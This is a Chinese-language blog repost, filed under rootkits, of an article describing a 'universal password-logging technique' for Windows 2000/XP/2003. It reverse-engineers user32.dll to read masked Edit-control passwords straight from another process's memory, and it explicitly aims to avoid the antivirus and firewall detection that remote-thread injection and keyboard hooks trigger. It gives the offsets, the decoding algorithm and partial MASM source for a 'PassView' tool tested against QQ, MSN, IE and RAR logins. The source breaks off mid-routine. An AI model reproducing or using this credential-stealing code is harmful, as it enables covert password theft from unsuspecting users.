Edit控件密碼窗口的秘密--一種全新的通用密碼記錄技術
Posted on 2010-01-10 16:46 S.l.e!ep.¢% 閱讀(1409) 評論(1) 編輯 收藏 引用 所屬分類: RootKitEdit控件密碼窗口的秘密--一種全新的通用密碼記錄技術 收藏
原文地址:http://www.xcodez.com/?id=433#
?
*目前的各類密碼記錄技術*
目前各類密碼記錄程序多如牛毛,但實現原理無非有以下六個:
一:調用CreateRemoteThread函數遠程DLL或代碼注入.
二:調用SetWindowsHookEx安裝鍵盤鉤子記錄按鍵,或是鍵盤驅動記錄按鍵.(注五)
三:偽造登陸界面.
四:登錄信息在網絡傳輸過程中被嗅探.
五:分析目標程序流層,文件補丁技術(注一).
六:分析目標程序流層,搜索并讀取存放在內存中(比如:全局變量)的密碼.
由于后四個技術都要對目標程序進行專門的分析所以更多的用在專用游戲盜號程序中.這樣目前通用的獲取目標主機各類程序登錄密碼的技術還是緊緊局限于前兩個.
*兩大主流密碼記錄技術的局限性*
對于鍵盤記錄技術由于用戶可能會不按順序輸入密碼所以正確率有限,要是安裝鍵盤驅動還要Admin權限同時更難以區分用戶是輸密碼還是其它輸入(在驅動下可沒有GetActiveWindow函數呵呵).
對于第一種技術前面所說的問題都不存在,并且用各種語言編寫的源代碼廣為流傳,所以水平高一點點的黑客都會使用,但也正因為這個遠線程注入技術實在太流行,所以很多殺毒軟件一但發現有程序調用了CreateRemoteThread這個API就會提示并攔截(比如江民公司的"木馬一掃光").同樣安裝鍵盤鉤子比如調用SetWindowsHookEx有些殺毒軟件也會提示.
難道就沒有通用性相對較好,記錄正確率高,不容易被殺毒軟件查殺的技術了嗎?請看下文.
*目前的思路*
對于WINDOWS程序中的密碼窗口通常是具有ES_PASSWORD風格的EDIT控件(通常輸入內容顯示為*號),在WINDOWS 98下要記錄密碼,只用給這種窗體發送一個WM_GETTEXT消息就可以了沒有任何限制,在WIN2000以后的操作系統中,微軟也意識到這樣太不安全,所以限制為進程只可以給自已的具有ES_PASSWORD風格的EDIT控件窗口發送WM_GETTEXT消息并正確得到窗口內容(注二).這樣也就很好理解為什么目前的兩大主流技術要么是建一個遠程線程,要么HOOK鍵盤了.現在的程序和WIN98時代很明顯的區別就是都要多一個DLL.
(直接代碼注入的可以不要DLL但還是會調用可能引起殺毒軟件提示的API函數)
*新的思路*
在EDIT控件輸入字符以后,這些字符當然是被記錄在EDIT控件所在的進程可以仿問的內存中的.可不可以直接從內存中讀取內容呢?
也就是寫了一個自已的不受微軟限制的GetWindowText函數,或是叫GetWindowPass函數.讀內存可以調用OpenProcess和ReadProcessMemory
或是集成這兩個函數的Toolhelp32ReadProcessMemory.怎么讀的問題解決了,現在就是讀哪個位置的問題.另外OpenProcess
不代寫內存的參數一般殺毒軟件不會提示(注三).
*讀哪兒?*
解決這個問題首先我們還是看看微軟是怎么讀的吧.大家都知道要取得EDIT控件的內容可以發WM_GETTEXT消息或是調用USER32.DLL中
的GetWindowTextA函數.打開WIN32DASM和SOFTICE.一路跟蹤后總算基本明白了其中的原理,重要代碼反匯編如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)
第一部分:
GetWindowText函數執行后很快就會調用如下代碼:重要的地方會有注解:)
:77D184D0 8BFF??????????????????? mov edi, edi
:77D184D2 55????????????????????? push ebp
:77D184D3 8BEC??????????????????? mov ebp, esp
:77D184D5 51????????????????????? push ecx
:77D184D6 53????????????????????? push ebx
:77D184D7 56????????????????????? push esi
:77D184D8 57????????????????????? push edi
:77D184D9 8855FC????????????????? mov byte ptr [ebp-04], dl
:77D184DC 8BF9??????????????????? mov edi, ecx????????????????????? ;edi中為密碼窗口句柄
:77D184DE 33F6??????????????????? xor esi, esi
:77D184E0 64A118000000??????????? mov eax, dword ptr fs:[00000018]? ;得到當前線程的TEB
:77D184E6 8B0D6000D777??????????? mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000??????????? lea ebx, dword ptr [eax+000006CC] ;當前線程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7??????????????????? mov eax, edi
:77D184F4 25FFFF0000????????????? and eax, 0000FFFF???????????????? ;eax中為密碼窗口句柄的低16位
:77D184F9 3B4108????????????????? cmp eax, dword ptr [ecx+08]
:77D184FC 734D??????????????????? jnb 77D1854B
:77D184FE 8B0D8400D777??????????? mov ecx, dword ptr [77D70084]???? ;77D70084是USER32.DLL中的一個全局變量的地址,重要!
:77D18504 8D0440????????????????? lea eax, dword ptr [eax+2*eax]
:77D18507 8D0C81????????????????? lea ecx, dword ptr [ecx+4*eax]??? ;ecx為(密碼窗口句柄低16位x12)+一個未知全局變量
--------------------------無關代碼省略之-------------
:77D1852F 8B31??????????????????? mov esi, dword ptr [ecx]????????? ;ecx的值沒變,取里面的值給esi
:77D18531 0F8471A40100??????????? je 77D329A8
:77D18537 3B30??????????????????? cmp esi, dword ptr [eax]
:77D18539 0F8269A40100??????????? jb 77D329A8
:77D1853F 3B7004????????????????? cmp esi, dword ptr [eax+04]
:77D18542 0F8360A40100??????????? jnb 77D329A8
:77D18548 2B731C????????????????? sub esi, dword ptr [ebx+1C]??????
;剛才的值-RealClientID,EBX+1C接合上面的代碼看就是當前線程TEB的基地址+6CCH+1CH,取得的值也就是當前線程的RealClientID
第二部分
經過一些跳轉后會調用EditWndProc,其中的關鍵代碼如下:
Exported fn(): EditWndProc - Ord:00C1h ;函數入口
:77D2C538 8BFF??????????????????? mov edi, edi
:77D2C53A 55????????????????????? push ebp
:77D2C53B 8BEC??????????????????? mov ebp, esp
:77D2C53D 83EC1C????????????????? sub esp, 0000001C
:77D2C540 8B550C????????????????? mov edx, dword ptr [ebp+0C]??????? ;如果EDX為0Dh說明是取得窗口的內容
:77D2C543 53????????????????????? push ebx
:77D2C544 56????????????????????? push esi
:77D2C545 57????????????????????? push edi
:77D2C546 8B7D08????????????????? mov edi, dword ptr [ebp+08]
:77D2C549 8B07??????????????????? mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000??????????? mov esi, dword ptr [edi+000000A4]? ;這兒的EDI和前面代碼最后的ESI是同一個值,重要!
:77D2C551 33C9??????????????????? xor ecx, ecx?????????????????????? ;計算后ESI就是一個指向窗口內容結構的指針
:77D2C553 8945F4????????????????? mov dword ptr [ebp-0C], eax
:77D2C556 41????????????????????? inc ecx
---------------------無關代碼省略之---------------
:77D2C5B9 51????????????????????? push ecx
:77D2C5BA FF7514????????????????? push [ebp+14]
:77D2C5BD FF7510????????????????? push [ebp+10]
:77D2C5C0 56????????????????????? push esi
:77D2C5C1 E88E040000????????????? call 77D2CA54?? ;得到窗口內容
第三部分:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00??????????????? cmp dword ptr [esi+0C], 00000000
:77D4149A 7427??????????????????? je 77D414C3
:77D4149C 668B466A??????????????? mov ax, word ptr [esi+6A]
:77D414A0 660FAF460C????????????? imul ax, word ptr [esi+0C]????????? ;esi和上面的一樣指向窗口結構,ESI+0C是取得密碼長度
:77D414A5 668945FA??????????????? mov word ptr [ebp-06], ax
:77D414A9 668945F8??????????????? mov word ptr [ebp-08], ax
:77D414AD 8D45F8????????????????? lea eax, dword ptr [ebp-08]
:77D414B0 50????????????????????? push eax???????????????????????????
:77D414B1 33C0??????????????????? xor eax, eax
:77D414B3 8A86EC000000??????????? mov al, byte ptr [esi+000000EC]???? ;ESI+EC解碼密碼的變量,總是一個字節
:77D414B9 897DFC????????????????? mov dword ptr [ebp-04], edi
:77D414BC 50????????????????????? push eax
* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
????????????????????????????????? |
:77D414BD FF154410D177??????????? Call dword ptr [77D11044]?????????? ;對該函數分析可知,esi+00存放編碼后的密碼的地址
*分析GetWindowTextA后的總結*
分析流層可知道GetWindowTextA函數要取得一個EDIT控件的內容要得到如下參數:
1.窗口句柄,線程,進程ID,2.窗口所在的線程的TEB(線程環境塊),3.窗口所在的進程加載的USER32.DLL中的一個未知的全局變量.
我們的進程可不可以獲得這三個參數呢?
對于句柄可以使用的函數有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到進程,線程ID調用GetWindowThreadProcessId
對于窗口所在的線程的TEB,我查閱NATIVE API手冊后找到了ZwQueryInformationThread,當然先要調用OpenThread得到線程句柄
對于第三個參數,它的值一般總是為00XX0000,它其實就是進程的GUI TABLE在R3層的映射的基地址.GUI TABLE也就是用戶對象句柄表,
它里面的值簡單的說就是一些指向窗體信息結構的指針.
*獲得GUI TABLE在R3成層的映射基地址*
我的系統中,記錄這個地址的變量的地址是77D70084,在SOFTICE中對這個地址下BPM寫斷點,發現每個進程加載USER32.DLL的時候一般是要
調用這個DLL中的UserClientDllInitialize,在這個函數的如下代碼處
:77D21020 8DB5A0FAFFFF??????????? lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777????????????? mov edi, 77D70080???? ;注意不是77D70084
:77D2102B F3????????????????????? repz
:77D2102C A5????????????????????? movsd
會對這個變量賦初值.然后打開W32DASM,查找77d70084和77d70080,結果發現了一個UNDOCUMENT API:UserRegisterWowHandlers!
分析這個函數的最后面的代碼可以看出這個函數的返回值就是記錄GUI TABLE在R3成層的映射基地址的變量的地址-4.代碼如下:
:77D535F5 B88000D777????????????? mov eax, 77D70080
:77D535FA 5D????????????????????? pop ebp
:77D535FB C20800????????????????? ret 0008
到此理論上要實現直接內存讀取密碼應該沒有問題了,下面看看具體的算法是什么:)
*把密碼算出來*
第一步:
取窗口句柄的低16位然后乘以12,我們設結果為HwndIndex
第二步:
得到GUI TABLE在R3成層的映射基地址,我們設這個地址為GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的記錄窗體信息的結構的地址設結果為PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是編碼后的密碼的地址
PRealWinStruct+0ch里面值是密碼長度我們叫PASSLEN
PRealWinStruct+ech里面值是解碼要用到的一個變量我們叫ENCODE.
第八步:
解碼算法,通過對RtlRunDecodeUnicodeString分析后解碼算法如下:
??? MOV EDX,ENCODE
??????? mov cl,dl
??????? mov edi,PASSLEN
@@nextpass:???????
??????? CMP EDI,1
??????? JBE @@firstpass
??????? mov eax,esi?????? ;esi指向編碼后的密碼的第一個字節.
??????? add eax,edi
??????? mov dl,[eax-2]
??????? xor dl,[eax-1]
??????? xor dl,cl ;重要
??????? mov [eax-1],dl
??????? dec edi
??????? jmp @@nextpass
@@firstpass:
??????? or? cl,43h
??????? mov edx,offset buffer1
??????? xor [edx],cl
注意通過對多個2K,XP,2003系統的分析前面五步以及八步始終沒有變化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch
*具體編碼*
為了證明思路的正確性,專門寫了一個WINDOWS2K/XP/2003下看星號密碼的小程序,當然完全不用遠程注入線程了.
下面把關鍵實現代碼分析一下:
第一步:得到密碼密窗口句柄:
??????????????????? invoke??? GetCursorPos,addr @stPoint???????????? ;得到當前光標位置
??????????? invoke??? WindowFromPoint,@stPoint.x,@stPoint.y? ;得到光標下窗口的句柄???????????
??????????? mov??? @hWindow,eax
??????????? .if??? eax !=??? NULL
??????????????? invoke GetWindowLong,@hWindow,GWL_STYLE???? ;得到窗口風格
??????????????? .if (eax & ES_PASSWORD)???????????????????? ;是密碼框嗎?
??????????????????? invoke GetClassName,@hWindow,offset classname,64?? ;如果是得到控件類名
??????????????????? invoke lstrcmpi,offset classname,offset editname??
??????????????????? .if eax == 0?????????????????????????????????????? ;如果類名是Edit,那么調用ViewPass函數讀密碼
??????????????????? mov eax,@hWindow
??????????????????? mov WINHAND,eax
??????????????????? invoke ViewPass
??????????????????? .endif???????????????????
???????????????????
??????????????? .endif
??????????? .endif
第二步:判斷系統:
LOCAL verinfo:OSVERSIONINFO
???
??? mov???? verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
??? invoke? GetVersionEx,addr verinfo
??? .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
??????? mov eax,1 ;xp
??????? mov passoffset,0A4H
??????? mov lenoffset ,14H
程序只取WIN2000/XP/2003系統的密碼,同時根據不同的系統設置偏移.經過測試
同一種系統偏移沒有變化,所以通用性應該很好.
第三步:得到密碼窗口的線程和進程ID
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX ;返回值為線程ID
第一個參數為窗口句柄,第二個參數為得到進程ID
第四步:根據窗口所在的進程的進程號得到這個進程加載的USER32.DLL的基地址
invoke GetUser32Base,parid
返回值就是基地址:)
GetUser32Base? proc uses ebx esi edi remoteproid
??????????? LOCAL hSnapshot:dword
??????????? LOCAL modinfo:MODULEENTRY32
??????????? LOCAL modname[256]:byte
??????? mov??????? modinfo.dwSize,sizeof MODULEENTRY32
??????? invoke? CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一個參數表示例舉模塊
??????? mov???? hSnapshot,eax
??????? invoke? Module32First,hSnapshot,addr modinfo ;結果放在modinfo結構中,modBaseAddr成員記錄
??????? .while eax?????????????????????????????????? ;相應模塊加載的基地址
??????? lea???? ecx,modinfo.szModule
??????? invoke? lstrcmpi,offset user32dll,ecx? ;比較模塊名是否為user32.dll
??????? .if???? eax == 0
??????????????? mov eax,modinfo.modBaseAddr
??????????????? ret
??????? .endif
??????? invoke? Module32Next,hSnapshot,addr modinfo
??????? .endw
??????? invoke??? CloseHandle,hSnapshot
???????
??????????????? ret
GetUser32Base?? endp
第五步:
根據窗口所在的線程得到該線程的TEB地址
??????? invoke? OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;線程ID
??????? ..if??? eax != NULL
??????????????? mov???? THREADHAND,EAX
??????????????? invoke??? LoadLibrary,offset Ntdll
??????????????? invoke??? GetProcAddress,eax,offset _ZwQueryInformationThread ;調用NAVITE API
??????????????? mov???? apiquerthread,eax????????????????
??????????????? push??? 0
??????????????? push??? sizeof THREAD_BASIC_INFORMATION
??????????????? lea???? ecx,threadinfo
??????????????? push??? ecx
??????????????? push??? ThreadBasicInformation
??????????????? push??? THREADHAND
??????????????? call??? apiquerthread
??????????????? .IF EAX == STATUS_SUCCESS
??????????????????? lea ecx,threadinfo
??????????????????? mov esi,[ecx+4] ;得到TEB了,通常為7FFDX000
??????????????? .ELSE
??????????????????? invoke MessageBox,0,offset errgetteb,offset vp,1
??????????????????? ret
??????????????? .ENDIF
??????? .else
??????????? invoke MessageBox,0,offset erropenthread,offset vp,1
??????????? ret
??????? .endif
第六步:得到TEB中的RealClientID,注意這兒是讀目標程序的內存,不是自已的了..
??????? add esi,6cch? ;看第五步,ESI中為目標線程的TEB基地址,如果是程序自已獲得自已的TEB???????
??????? add esi,1ch?? ;只用MOV EAX,FS:[18]就行了,也就是文章中間反匯編看到的那樣.
??????? invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
;第一個參數為密碼所在窗口進程PID,第二個是讀的起始地址,第三個是放在哪兒,第四是讀長度,第五實際讀取
??????? .if eax == TRUE ;為真說明讀成功
?????????????? mov eax,offset buffer1
?????????????? mov eax,[eax]
?????????????? mov edi,eax
?????????????? .if eax ==NULL
??????????????? invoke MessageBox,0,offset errnorealcid,offset vp,1
?????????????? ret
?????????????? .endif
??????? .endif
第七步:得到目標進程R3層的GUI TABLE基地址
這一步應該是這個程序最關鍵的部分,希望大家認真閱讀.先介紹一下我的思路:
我們已經知道這個基地址存放在目標程序加載的USER32.DLL的全局變量中.并且這個DLL中的UserRegisterWowHandlers
函數的返回值就是這個全局變量的地址.
首先想到的辦法是直接調用這個函數,但是通過對這個函數的反匯編分析后發現該函數的參數難以正確構造特別是
在WIN2003系統下該函數會比較嚴格的檢查參數,所以就放棄了直接調用該函數得到基地址的辦法.
通過對不同系統的這個函數反匯編我們可以很容易的找到共同點:
2K系統:(5.0.2195.7032)
:77E3565D B880D2E477????????????? mov eax, 77E4D280
:77E35662 C20800????????????????? ret 0008
XP系統:(5.1.2600.2180)
:77D535F5 B88000D777????????????? mov eax, 77D70080
:77D535FA 5D????????????????????? pop ebp?
:77D535FB C20800????????????????? ret 0008
2003系統:(5.2.3790.1830)
:77E514D9 B8C024E777????????????? mov eax, 77E724C0
:77E514DE C9????????????????????? leave
:77E514DF C2080000??????????????? ret 0008
分析共同點以后,我們就可以寫出相應的算法.我的算法是:
1.得到我的進程自身的USER32.DLL的基地址,我們設為user32base(其實也就是LoadLibrary加載這個DLL的返回值)
2.調用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.從入口地址處讀1000個字節(這個函數功能其實很簡單1000個字節足夠了)
4.在這1000個字節中,我使用了LDE32庫的匯編指令長度判斷函數(注四).給出指令的首地址可以準確的計算出指令的長度.
這樣我先找長度為3的指令,同時指令內容要為C20800(UserRegisterWowHandlers只有兩個參數所以用這種方法找這個指令正確率應該很高)
在查找的過程中我用一個局部變量記錄每一個指令的長度.在找到C20800后我再倒過去找指令長度為5,同時指令的第一個字節為B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取這個地址往后4個字節的值,這個值(我們設為varaddr)通常就是記錄GUI TABLE基地址變量的地址
6.分析USER32.DLL的PE文件結構,找出這個DLL的全局變量的起始地址(也就是.data段的虛擬偏移(VirtualAddress)+USER32.DLL的加載基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是這個變量在USER32.DLL的全局變量中的相對偏移,我們記為VarOffset,
如果這個值>0,同時小于.data段的VirtualSize那么說明成功.如果不成功我們再跳到第5步再從后往前重新找mov eax,xxxxxxxx指令.
8.通過前面第四步(根據窗口所在的進程的進程號得到這個進程加載的USER32.DLL的基地址)+VirtualAddress+VarOffset我們就得到了目標
進程中這個變量的地址,最后再調用Toolhelp32ReadProcessMemory,就可以讀出GUI TABLE的基地址了.
(注:由于不能找到直接調用UserRegisterWowHandlers的辦法,所以第七步從原理上看并不能保證有100%的成功率,但通過我對多個不同系統
不同版本的測試,目前的這個算法都還是通用)
第八步:最后其實就是把*把密碼算出來*這一節的算法實現就0K了.不過要注意的是密碼可能是Unicode格式的.
*最后的總結*
所有的分析和技術細節都在上面了,這篇文章要用到PE文件格式,NAVITE API,反匯編等知識如有不懂可以參考網上的相關的資料.
?
?
注一:文件補丁技術簡單說就是分析目標程序的流層,找出程序本身獲得密碼框密碼的代碼,然后在這個代碼后面加上一個跳轉
跳到我們新增加的PE節中,在這個節中的代碼就是取得密碼并記錄到文件中,然后再跳回程序原來的流層.
注二:其實要取得密碼也可以這樣做:發送EW_SETPASSWORDCHAR消息,取消EDIT控件的密碼風格,然后再調用GetWindowText函數取密碼
最后再恢復密碼框屬性,不過對于這種辦法,用戶很可能會發現異常.
使用Delphi/BCB工具中的TEDIT類,可以直接發消息,這時微軟的限制完全不起作用.
注三:大多數版本的ZoneAlarm是只防止OpenProcess打開系統進程以及IE的進程句柄,對于OpenProcess第三方程序默認中級安全級別下不攔.
注四:程序中使用的LDE32庫,是國外的程序員開發的一個專門計算匯編指令長度的小工具,網上有源代碼可下載..
該庫文件編譯后只有600多個字節.
注五:還有一種按鍵記錄技術是用一個死循環不停的調用GetAsyncKeyState和GetKeyState判斷同一時間下每個按鍵的當前狀態.
該方法目前也很難被安全軟件發現但還是有記錄不準確,不能記錄不按順序輸入的密碼(當然也不能記中文)等問題.
附:
1.看星號程序源代碼
2.一個簡單的密碼框程序
3.測試系統的USER32.DLL
內存讀取獲得密碼(原創)
;????????????????? #--------------------------------------#???????? #
;??????????????? #? PassView?????????????????????????????? #????? #
;????????????? #??????????????????????????????????????????? #?? #
;??????????? #??????????????????????????????????????????????? #
;????????? #????????????????????? 2007.1.1??????????????????? #
;??????????? #??????????????????? codz: czy??????????????? #??? #
;???????????? #------------------------------------------#??????? #
;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR
??????????????? .386
??????????????? .model flat, stdcall
??????????????? option casemap :none?? ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;??????? Include 數據
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include???? \masm32\include\windows.inc
include???? \masm32\include\kernel32.inc
include???? \masm32\include\user32.inc
include???? \masm32\include\gdi32.inc
includelib? \masm32\lib\kernel32.lib
includelib? \masm32\lib\user32.lib
includelib? \masm32\lib\gdi32.lib
CLIENT_ID STRUCT??????? ; sizeof = 8
??????? UniqueProcess??????? HANDLE??????? ?
??????? UniqueThread??????? HANDLE??????? ?
CLIENT_ID ENDS
THREAD_BASIC_INFORMATION STRUCT??????? ; sizeof = 1ch
??????? ExitStatus??????????????????????????????? DWORD?????????? ?
??????? TebBaseAddress??????????????????????? PVOID??????????????? ? ; PTEB
??????? ClientId??????????????????????????? CLIENT_ID??????? <> ; 8h
??????? AffinityMask??????????????????????? DWORD??????????????? ? ;
??????? Priority??????????????????????????? DWORD??????????????? ?
??????? BasePriority??????????????? DWORD??????????????? ?
THREAD_BASIC_INFORMATION ENDS
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;??????? 子程序聲明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain??????? PROTO??????? :DWORD,:DWORD,:DWORD,:DWORD
ViewPass??????????????? proto
_ProcessPeFile????????? proto :dword
GetUnknowVarOffset????? proto
GetUser32Base?????????? proto :dword
CheckOS???????????????? proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;??????? Equ 數據
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS??????????????? equ??????? 0
ThreadBasicInformation??????? equ 0
DLG_MAIN??????? equ??????????????? 1000
ID_PWD??????????????? equ??????????????? 1001
IDB_1??????????????? equ??????????? 1
IDC_BMP??????????????? equ??????????? 108
RGB MACRO red, green, blue
??????? xor eax, eax
??????? mov al, blue??? ; blue
??????? rol eax, 8
??????? mov al, green?? ; green
??????? rol eax, 8
??????? mov al, red???? ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;??????? 數據段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain??? dd ?
vp????????? db 'viewpass 0.1 codz czy',0
PASSLEN???? DD ?
ENCODE????? DD ?
WINTHREADID DD ?
WINHAND???? DD 0
unknownvar? DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset?? dd ?
modbase???? dd ?
lenoffset?? dd ?
passoffset? dd ?
Tahoma????? db 'Tahoma',0
editname??? db 'EdIt',0
Richeditname db 'RichEdit20W',0
dataname??? db '.data?? ',0
erros?????? db '不是吧,還在用WIN9X/NT4',0
nowin?????? db '找不到主窗體',0
nowin2????? db '找不到子窗體中的密碼窗口',0
errnowow??? db '不能找到UserRegisterWowHandlers函數地址',0
errnocode?? db '不能找到UserRegisterWowHandlers函數中相匹配的機器碼',0
erropenthread db '不能打開線程',0
errgetteb???? db '打開線程但不能得到TEB',0
errnorealcid? db '不能得到TEB中的RealClientID',0
errnounknowvar db '不能從user32.dll中找到未知變量',0
passerr???? db '密碼太長或為空',0
tebformat?? db 'TEB %x',0
varformat?? db 'user32.dll gSharedInfo addr:%x',0
varformat2? db 'GUI TABLE in user modle addr:%08x',0
realcidformat? db 'real cid:%x',0
Wndformat????? db 'pass window hand:%x,win thread id:%x',0
wndcontformat? db 'win struct:%x',0
passaddrformat db 'pass addr:%x',0
passlenformat? db 'pass len:%d',0
passformat???? db 'pass decode? is:%x',0
user32dll????? db 'user32.dll',0
Ntdll?????????????????? db??????? "NTDLL.DLL",0
_UserRegisterWowHandlers? db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND???? DD 0
apiquerthread? dd ?
Pthreadinfo??? dd ?
.data?
hInstance?????????? dd ?
szBuffer?????????? db 256 dup??????? (?)
buffervar????? db 32 dup (?)
buffervar2???? db 32 dup (?)
bufferteb????? db 32 dup (?)
bufferPassWnd? db 32 dup (?)
bufferrealcid? db 32 dup (?)
bufferwndcont? db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen? db 32 dup (?)
bufferpass1??? db 128 dup (?)
bufferuni????? db 256 dup (?)
classname????? db 128 dup (?)
buffer1??????? db 128 dup (?)
buffercode???? db 1024 dup (?)
??????????????? .code
;********************************************************************
ViewPass? proc
??????????? LOCAL parid:dword
??????????? LOCAL threadinfo:THREAD_BASIC_INFORMATION
??????? ;invoke MessageBox,0,offset vp,offset vp,1
;--------------判斷操作系統???????
??????? invoke CheckOS
??????? .if eax == 0
??????????? ret
??????? .endif???????
???????
;---------------得到密碼窗口句柄,以及線程句柄,進程句柄
???????????
??????????? MOV EBX,WINHAND
??????????? .if? EBX!=NULL
?????????????? invoke GetWindowThreadProcessId,eBx,addr parid
?????????????? MOV??? WINTHREADID,EAX
?????????????? ;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
?????????????? ;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
??????????? .else??
??????????????? invoke??? MessageBox,0,offset nowin2,offset vp,1
??????????????? ret?????
??????????? .endif
;-------------根據窗口所在的進程的進程號得到這個進程加載的USER32.DLL的基地址
??????? invoke GetUser32Base,parid
??????? mov??? modbase,eax
;--------------根據窗口所在的線程得到該線程的TEB地址
??????????? invoke? OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
??????????? .if??????? eax != NULL
??????????????????? mov???? THREADHAND,EAX
??????????????????????? invoke??????? LoadLibrary,offset Ntdll
??????????????????? invoke??????? GetProcAddress,eax,offset _ZwQueryInformationThread
??????????????????? mov???? apiquerthread,eax????????????????????
??????????????????? push??? 0
??????????????????? push??? sizeof THREAD_BASIC_INFORMATION
??????????????????? lea???? ecx,threadinfo
??????????????????? push??? ecx
??????????????????? push??? ThreadBasicInformation
??????????????????? push??? THREADHAND
??????????????????? call??? apiquerthread
??????????????????? .IF EAX == STATUS_SUCCESS
??????????????????????? lea ecx,threadinfo
??????????????????????? mov esi,[ecx+4] ;得到TEB了
??????????????????? .ELSE
??????????????????????? invoke MessageBox,0,offset errgetteb,offset vp,1
??????????????????????? ret
??????????????? .ENDIF
??????? .else
??????????? invoke MessageBox,0,offset erropenthread,offset vp,1
??????????? ret
??????? .endif
??????? ;invoke wsprintf,offset bufferteb,offset tebformat,esi
??????? ;invoke MessageBox,0,offset bufferteb,offset vp,1??
???????
;-------------------------得到TEB中的RealClientID???????
??????? add esi,6cch
??????? add esi,1ch
??????? invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
??????? .if eax == TRUE
?????????????? mov eax,offset buffer1
?????????????? mov eax,[eax]
?????????????? mov edi,eax
?????????????? .if eax !=NULL
?????????????? ;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
?????????????? ;invoke MessageBox,0,offset bufferrealcid,offset vp,1
?????????????? .else
??????????????? invoke MessageBox,0,offset errnorealcid,offset vp,1
?????????????? ret
?????????????? .endif
??????? .endif
????
???????
??????? ;密碼窗口句柄取低16位
??????? xor eax,eax
??????? mov?? ebx,WINHAND
??????? mov?? ax,bx
??????? add?? ax,ax
??????? add?? ax,bx ;3
??????? add?? ax,ax ;6
??????? add?? ax,ax ;12
??????? mov?? ebx,eax
??????? pushad
??????? invoke GetUnknowVarOffset
??????? .if eax !=NULL
?????????????? mov eax,VarOffset
?????????????? add eax,modbase
?????????????? add eax,VirtualAddress
?????????????? ;invoke wsprintf,offset buffervar,offset varformat,eax
?????????????? ;invoke MessageBox,0,offset buffervar,offset vp,1???????
??????? .else
??????????????? invoke MessageBox,0,offset errnounknowvar,offset vp,1
??????????????? ret
??????? .endif
??????? popad
??????? mov ecx,VarOffset
??????? add ecx,modbase
??????? add ecx,VirtualAddress
??????? invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? mov ecx,[ecx]
??????????????? ;push ecx
?????????????? ;invoke wsprintf,offset buffervar2,offset varformat2,ecx
?????????????? ;invoke MessageBox,0,offset buffervar2,offset vp,1
?????????????? ;pop ecx
??????? .endif???????
??????? add? ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
??????? invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? mov ecx,[ecx]
??????? .endif
??????? sub ecx,edi ;減REALCLIENTID
??????? mov esi,ecx?
??????? ;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
??????? ;invoke MessageBox,0,offset bufferwndcont,offset vp,1??
???????
??????? add esi,passoffset
??????? invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
??????? .if eax == TRUE
??????????????? mov ecx,offset buffer1
??????????????? mov esi,[ecx]
??????? .endif
??????? ;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
